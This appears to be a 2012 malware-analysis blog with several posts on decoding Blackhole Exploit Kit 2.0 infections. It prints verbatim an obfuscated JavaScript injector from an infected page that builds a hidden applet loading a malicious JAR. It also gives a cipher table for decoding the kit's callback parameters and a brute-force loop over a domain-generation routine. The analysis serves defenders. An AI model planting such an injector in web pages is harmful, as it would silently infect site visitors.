Friday, December 7, 2012

Obfuscated HTML Applet Tags

Recently I was passed some PCAP that contained an infected HTML page, JAR and an executable.  The analyst working the PCAP was wondering how the JAR was downloaded as there was no applet tags on the infected page or any indication in the PCAP that a JAR would be downloaded.

So I ran head on into the PCAP and started with the infected page.  Any analyst can clearly pickup on evil JavaScript hidden in an HTML page and so I noticed about half way down the page the following;

<body><script language="javascript"> var ws=new Date(); ws.setDate(12+ws.getDate()); document.cookie="stats=446501053769c06c565094b26d26e8ef; path=/; expires="+ ws.toGMTString(); jhi=1*1; ybw="iuuq;00"; </script><script language="javascript">var dpjjunt = function(laaqig){var onu = function(ykh)
{var eam, wun, i; var qex=""; eam = ykh.length; for (i = 0; i < eam; ++i) {wun = ykh.charCodeAt(i)-jhi;qex = qex + String.fromCharCode(wun);} return(qex); }
var grxolm=document.createElement(onu("bqqmfu"));grxolm.setAttribute(onu("dpef"), onu("sgiwcz/sxbsrwlfemvh/dmbtt"));grxolm.setAttribute(onu("bsdijwf"), " "+onu(ybw+"75/45/294/222;9191034658:7827023341"));grxolm.setAttribute(onu("xjeui"), "1");grxolm.setAttribute(onu("ifjhiu"), "1");var arvtie=document.createElement(onu("qbsbn"));arvtie.setAttribute(onu("obnf"),onu("higmcoqmlvflhbvrlkhm"));arvtie.setAttribute(onu("wbmvf"),onu("8cc9gf2fbc97c4ebcbb5b8ceb:18dfc88:b83fg464g:6e5gg457742363b4"));grxolm.appendChild(arvtie);document.body.appendChild(grxolm); } ;

So if we copy out this JS and make it a little more pretty for us we can read it a bit better.

var ws=new Date();
 expires="+ ws.toGMTString();

var dpjjunt = function(laaqig)
   var onu = function(ykh)
     var eam, wun, i;
     var qex="";
     eam = ykh.length;
     for (i = 0;
     i < eam;
       wun = ykh.charCodeAt(i)-jhi;
       qex = qex + String.fromCharCode(wun);
   var grxolm=document.createElement(onu("bqqmfu"));
   grxolm.setAttribute(onu("dpef"), onu("sgiwcz/sxbsrwlfemvh/dmbtt"));
   grxolm.setAttribute(onu("bsdijwf"), " "+onu(ybw+"75/45/294/222;
   grxolm.setAttribute(onu("xjeui"), "1");
   grxolm.setAttribute(onu("ifjhiu"), "1");
   var arvtie=document.createElement(onu("qbsbn"));

This is our Applet builder!  The top script holds some key information we will need to correctly build this applet.  First we see  jhi=1*1;  and  ybw="iuuq;00";  These are important because these variables hold values further down in the script.  So lets quickly solve these.  jhi=1 and for the mean time we will replace ybw with "iuuq;00".

If you are still following me lets move down to the builder.  The main function is "onu"  this function will take one input (ykh) and iterate through a loop to return our desired string.  Perfect so lets build our final script now.

var onu = function(ykh)
   var eam, wun, i;
   var qex="";
   eam = ykh.length;
   for (i = 0; i < eam; ++i)
  wun = ykh.charCodeAt(i)-1;
  qex = qex + String.fromCharCode(wun);
var a = (onu("bqqmfu"));
var b = (onu("dpef"));
var c = (onu("sgiwcz/sxbsrwlfemvh/dmbtt"));
var d = (onu("bsdijwf"));
var e = (onu("iuuq;00"+"75/45/294/222;9191034658:7827023341"));
var f = (onu("xjeui"), "1");
var g = (onu("ifjhiu"), "1");
var h = (onu("qbsbn"));
var i = (onu("obnf"));
var j = (onu("higmcoqmlvflhbvrlkhm"));
var k = (onu("wbmvf"));
var l = (onu("8cc9gf2fbc97c4ebcbb5b8ceb:18dfc88:b83fg464g:6e5gg457742363b4"));

I prefer to use Rhino on scripts like these so I have alphabetized the variables for easy viewing.  One run through and we find the variables deobfuscate to the the following;

var a = applet
var b = code
var c = rfhvby.rwarqvkedlug.class
var d = archive
var e =
var f = width=1
var g = height=1
var h = param
var j = name
var k = ghflbnplkuekgauqkjgl
var l = value
var m = 7bb8fe1eab86b3dabaa4a7bda907ceb779a72ef353f95d4ff346631252a3

We have a complete applet with the archive location for the JAR at and a param name and value.


Sunday, October 21, 2012

BHEK 2.0 encode param value UPDATE

Today MalwareMustDie posted a new BHEK 2.0 infection and one of the pasties showed a new encoding scheme for the param value found in the applet.  I had never seen this before and thought for sure my decoding of the original encoding scheme was now pointless.

So I dove right in examining the JAR for the function that uses the param and decodes the callback.  Not to my surprise the JAR does not decompile correctly.  However it obviously taks advantage of CVE-2012-0507.

So I went back to the drawing board.  My drawing board just happens to be Notepad++
So I pasted the param value Notepad and started to replace all the HTML values with the corresponding ASCII value.

After replacing
At first glance I did not see it.  Then it hit me!  If you ignore the first "0" and then replace the ";" with nothing, then the values become hex values that should look familiar :)

So with all of this knowledge and knowing that my alphabet list I created earlier still held true.  I simply used a python script my pal created for me utilizing my alphabet and decoded the JARs callback.


I believe this marks the first time the BHEK authors have used two forms of obfuscation in the param value field.

Sunday, October 14, 2012

BHEK 2.0 Encoded Applet param cracked

The most common (possibly only) param value passed to BHEK 2.0 JAR files seems to follow a certain logic.  BHEK 2.0 JARs don't seem to decompile correctly in JAD or frontend plus and can be a great headache for those that want to find out the encoded param value.  Usually I just decompile the JAR and find the function that decodes the param like so;

Class CalloutApp
   public static String Ur(String s)
        String s1 = "";
        int i = s.length();
        for(int j = 3; j < i; j += 4)
            s1 = (new StringBuilder()).append(s1).append(s.substring(j, j + 1)).toString();

        return s1;
    public static void main(String args[])
        System.out.println(Ur("Place your param string here"));

Where I can just change the function instructions under static string Ur to match what I find in the malicious JAR.  Compile and run in terminal and the output would give me the callback.  All that changed with BHEK 2.0

Nowadays BHEK 2.0 JARs don't decompile well.  So today I found as many samples a possible to make a comprehensive alphabet list.

When the obfuscated BHEK is loaded there is usually an applet as well.  For this example I'll use the applet from a recent Vericon Labs malware request I saw via a retweet form MalwareMustDie.

<applet archive="" code="greateac"><param value='N0b0909041f31310e1740324332091e22051a17121a44323c3a35093143323a111931353a0932091e0c3817232332090935353c040b043d052c391c291c0808291c271c1a0244353908081c281c181c3e1c2908081c341c081c291c2b022c391c27022336392302321a3905' name='&#117;&#105;d' /></applet>

Notice the <param value=> field, that is the encoded value passed to the JAR file that will, if successful, lead your host to download an .exe in most cases. If we look closely at the value you might notice a pattern.

N 0b 09 09 04 1f 31 31
    h    t   t    p   :   /   /

(no idea what the "N" is used for)

So now we can simply begin to build an ABC list.  Unfortunately I had to do this manually due to the JAR issues.

The encoded param decodes to the following;

Below is the list. I may be missing other values also but I have been able to decode several encoded params using this key.

1 = 37
2 = 27
3 = 08
4 = 2b
5 = 42
6 = 34
7 = 29
8 = 18
9 = 3e
0 = 1c

= = 39
& = 02
? = 3d
_ = 0c
- = 22
. = 3c
/ = 31
: = 1f

a = 1a
b = 28
c = 38
d = 00
e = 35
f = 2c
g = 05
h = 0b
i = 32
j = 36
k = 11
l = 43
m = 23
n = 3a
o = 17
p = 04
q = 01
r = 44
s = 19
t = 09
u = 21
v = 0e
w = 0a
x = 40
y = 1e
z = 12

JS/RunForestRun/PseudoRandom Domains Cracked

I was helping out the crusades this weekend and my goal was to crack all the domains possible for the JS/RunForestRun/PseudoRandom infection.  Here you go!

All the domains from 01/01/12 00:00:01 to 01/01/15 00:00:01

So the script finds the current unix time (based on seconds since standard epoch of 1/1/1970)
example October 14 2012 12:04:15 = 1350216241

That is the only input it needs.  So I thought brute force the damn thing!  Testing it appears the domain only changes every 9000 seconds.  With that in mind I changed this;

function myFunction(){
    var unix = Math.round(new Date()/1000);
    var domainName = generatePseudoRandomString(unix, 16, 'info');

to this;

for(var zzz=0;zzz<1420070460;zzz+=9000)
    var unix = zzz;
    var domainName = generatePseudoRandomString(unix, 16, 'info');
    document.write(unix + ' - ' + domainName + "<p>");

Here is the output ( about 21000 domains)